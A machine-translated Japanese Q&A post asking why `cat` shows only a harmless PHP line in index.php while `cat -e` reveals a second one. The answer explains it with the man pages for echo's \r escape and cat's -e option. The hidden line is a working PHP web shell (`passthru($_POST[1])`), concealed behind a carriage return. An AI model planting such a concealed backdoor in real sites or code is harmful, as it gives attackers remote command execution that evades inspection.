ご覧のとおり、私が作成したものはindex.php
次のとおりです。
$ echo -e "<?php passthru(\$_POST[1])?>\r<?php echo 'A PHP Test ';" > index.php
それから:
$ cat index.php
<?php echo 'A PHP Test ';?>
しかし:
$ cat -e index.php
<?php passthru($_POST[1])?>^M<?php echo 'A PHP Test ';$
これをどのように説明しますか?
ベストアンサー1
~からメンズエコ
-e
enable interpretation of backslash escapes
If -e is in effect, the following sequences are recognized:
\r
carriage return
~から人間の猫
-e
equivalent to -vE
-E, --show-ends
display $ at end of each line
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB
私が理解したように、式\r
はキャリッジリターンを返すので、リターン以降のすべての内容をエコーするので、出力を単純化するときのcat index.php
出力はです<?php echo 'A PHP Test ';?>
。
オプションを使用すると、オプションと同様にcat
印刷されないステートメントがあり、行の-e
最後にオプションが印刷されます。^M
$
-E